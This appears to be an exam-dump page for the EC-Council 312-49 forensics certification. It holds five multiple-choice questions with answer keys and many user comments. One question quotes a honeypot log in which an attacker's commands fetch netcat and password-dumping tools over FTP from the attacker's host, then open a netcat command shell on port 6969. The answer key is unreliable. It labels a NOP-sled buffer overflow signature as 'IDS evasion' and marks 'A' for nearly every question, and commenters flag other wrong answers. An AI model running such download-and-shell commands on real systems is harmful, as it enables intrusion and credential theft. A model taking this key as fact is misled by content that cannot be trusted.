EC-Council Computer Hacking Forensic Investigator 312-49 Dumps in PDF

Free EC-Council 312-49 Real Questions (page: 8)

When investigating a potential e-mail crime, what is your first step in the investigation?

  1. Trace the IP address to its origin
  2. Write a report
  3. Determine whether a crime was actually committed
  4. Recover the evidence

Answer(s): A



If a suspect computer is located in an area that may have toxic chemicals, you must:

  1. coordinate with the HAZMAT team
  2. determine a way to obtain the suspect computer
  3. assume the suspect machine is contaminated
  4. do not enter alone

Answer(s): A



The following excerpt is taken from a honeypot log. The log captures activities across three days. There are several intrusion attempts; however, a few are successful.
(Note: The objective of this question is to test whether the student can read basic information from log entries and interpret the nature of attack.)

Apr 24 14:46:46 [4663]: spp_portscan: portscan detected from 194.222.156.169
Apr 24 14:46:46 [4663]: IDS27/FIN Scan: 194.222.156.169:56693 -> 172.16.1.107:482
Apr 24 18:01:05 [4663]: IDS/DNS-version-query: 212.244.97.121:3485 -> 172.16.1.107:53
Apr 24 19:04:01 [4663]: IDS213/ftp-passwd-retrieval: 194.222.156.169:1425 -> 172.16.1.107:21
Apr 25 08:02:41 [5875]: spp_portscan: PORTSCAN DETECTED from 24.9.255.53
Apr 25 02:08:07 [5875]: IDS277/DNS-version-query: 63.226.81.13:4499 -> 172.16.1.107:53
Apr 25 02:08:07 [5875]: IDS277/DNS-version-query: 63.226.81.13:4630 -> 172.16.1.101:53
Apr 25 02:38:17 [5875]: IDS/RPC-rpcinfo-query: 212.251.1.94:642 -> 172.16.1.107:111
Apr 25 19:37:32 [5875]: IDS230/web-cgi-space-wildcard: 198.173.35.164:4221 -> 172.16.1.107:80
Apr 26 05:45:12 [6283]: IDS212/dns-zone-transfer: 38.31.107.87:2291 -> 172.16.1.101:53
Apr 26 06:43:05 [6283]: IDS181/nops-x86: 63.226.81.13:1351 -> 172.16.1.107:53
Apr 26 06:44:25 victim7 PAM_pwdb[12509]: (login) session opened for user simple by (uid=0)
Apr 26 06:44:36 victim7 PAM_pwdb[12521]: (su) session opened for user simon by simple(uid=506)
Apr 26 06:45:34 [6283]: IDS175/socks-probe: 24.112.167.35:20 -> 172.16.1.107:1080
Apr 26 06:52:10 [6283]: IDS127/telnet-login-incorrect: 172.16.1.107:23 -> 213.28.22.189:4558

From the options given below choose the one which best interprets the following entry: Apr 26 06:43:05 [6283]: IDS181/nops-x86: 63.226.81.13:1351 -> 172.16.1.107:53

  1. An IDS evasion technique
  2. A buffer overflow attempt
  3. A DNS zone transfer
  4. Data being retrieved from 63.226.81.13

Answer(s): A



What happens when a file is deleted by a Microsoft operating system using the FAT file system?

  1. only the reference to the file is removed from the FAT
  2. the file is erased and cannot be recovered
  3. a copy of the file is stored and the original file is erased
  4. the file is erased but can be recovered

Answer(s): A



The following excerpt is taken from a honeypot log that was hosted at lab.wiretrip.net. Snort reported Unicode attacks from 213.116.251.162. The File Permission Canonicalization vulnerability (UNICODE attack) allows scripts to be run in arbitrary folders that do not normally have the right to run scripts. The attacker tries a Unicode attack and eventually succeeds in displaying boot.ini.
He then switches to playing with RDS, via msadcs.dll. The RDS vulnerability allows a malicious user to construct SQL statements that will execute shell commands (such as CMD.EXE) on the IIS server. He does a quick query to discover that the directory exists, and a query to msadcs.dll shows that it is functioning correctly. The attacker makes a RDS query which results in the commands run as shown below.

"cmd1.exe /c open 213.116.251.162 >ftpcom"
"cmd1.exe /c echo johna2k >>ftpcom"
"cmd1.exe /c echo haxedj00 >>ftpcom"
"cmd1.exe /c echo get nc.exe >>ftpcom"
"cmd1.exe /c echo get pdump.exe >>ftpcom"
"cmd1.exe /c echo get samdump.dll >>ftpcom"
"cmd1.exe /c echo quit >>ftpcom"
"cmd1.exe /c ftp -s:ftpcom"
"cmd1.exe /c nc -l -p 6969 -e cmd1.exe"

What can you infer from the exploit given?

  1. It is a local exploit where the attacker logs in using username johna2k
  2. There are two attackers on the system - johna2k and haxedj00
  3. The attack is a remote exploit and the hacker downloads three files
  4. The attacker is unsuccessful in spawning a shell as he has specified a high end UDP port

Answer(s): C

Explanation:

The log clearly indicates that this is a remote exploit with three files being downloaded and hence the correct answer is C.



Share your comments for EC-Council 312-49 exam with other users:

J
JM
12/19/2023 2:41:00 PM

q47: intrusion prevention system is the correct answer, not patch management. by definition, there are no patches available for a zero-day vulnerability. the way to prevent an attacker from exploiting a zero-day vulnerability is to use an ips.

R
Ronke
8/18/2023 10:39:00 AM

this is simple but tiugh as well

C
CesarPA
7/12/2023 10:36:00 PM

questão 4, segundo meu compilador local e o site https://www.jdoodle.com/online-java-compiler/, a resposta correta é "c" !

J
Jeya
9/13/2023 7:50:00 AM

its very useful

T
Tracy
10/24/2023 6:28:00 AM

i mastered my skills and aced the comptia 220-1102 exam with a score of 920/1000. i give the credit to for my success.

J
James
8/17/2023 4:33:00 PM

real questions

A
Aderonke
10/23/2023 1:07:00 PM

very helpful assessments

S
Simmi
8/24/2023 7:25:00 AM

hi there, i would like to get dumps for this exam

J
johnson
10/24/2023 5:47:00 AM

i studied for the microsoft azure az-204 exam through it has 100% real questions available for practice along with various mock tests. i scored 900/1000.

M
Manas
9/9/2023 1:48:00 AM

please upload 1z0-1072-23 exam dups

S
SB
9/12/2023 5:15:00 AM

i was hoping if you could please share the pdf as i’m currently preparing to give the exam.

J
Jagjit
8/26/2023 5:01:00 PM

i am looking for oracle 1z0-116 exam

S
S Mallik
11/27/2023 12:32:00 AM

where we can get the answer to the questions

P
PiPi Li
12/12/2023 8:32:00 PM

nice questions

D
Dan
8/10/2023 4:19:00 PM

question 129 is completely wrong.

G
gayathiri
7/6/2023 12:10:00 AM

i need dump

D
Deb
8/15/2023 8:28:00 PM

love the site.

M
Michelle
6/23/2023 4:08:00 AM

can you please upload it back?

A
Ajay
10/3/2023 12:17:00 PM

could you please re-upload this exam? thanks a lot!

H
him
9/30/2023 2:38:00 AM

great about shared quiz

S
San
11/14/2023 12:46:00 AM

goood helping

W
Wang
6/9/2022 10:05:00 PM

pay attention to questions. they are very tricky. i waould say about 80 to 85% of the questions are in this exam dump.

M
Mary
5/16/2023 4:50:00 AM

wish you would allow more free questions

T
thomas
9/12/2023 4:28:00 AM

great simulation

S
Sandhya
12/9/2023 12:57:00 AM

very g inood

A
Agathenta
12/16/2023 1:36:00 PM

q35 should be a

M
MD. SAIFUL ISLAM
6/22/2023 5:21:00 AM

sap c_ts450_2021

S
Satya
7/24/2023 3:18:00 AM

nice questions

S
sk
5/13/2023 2:10:00 AM

ecellent materil for unserstanding

G
Gerard
6/29/2023 11:14:00 AM

good so far

L
Limbo
10/9/2023 3:08:00 AM

this is way too informative

T
Tejasree
8/26/2023 1:46:00 AM

very helpfull

Y
Yolostar Again
10/12/2023 3:02:00 PM

q.189 - answers are incorrect.

S
Shikha Bakra
9/10/2023 5:16:00 PM

awesome job in getting these questions

AI Tutor 👋 I’m here to help!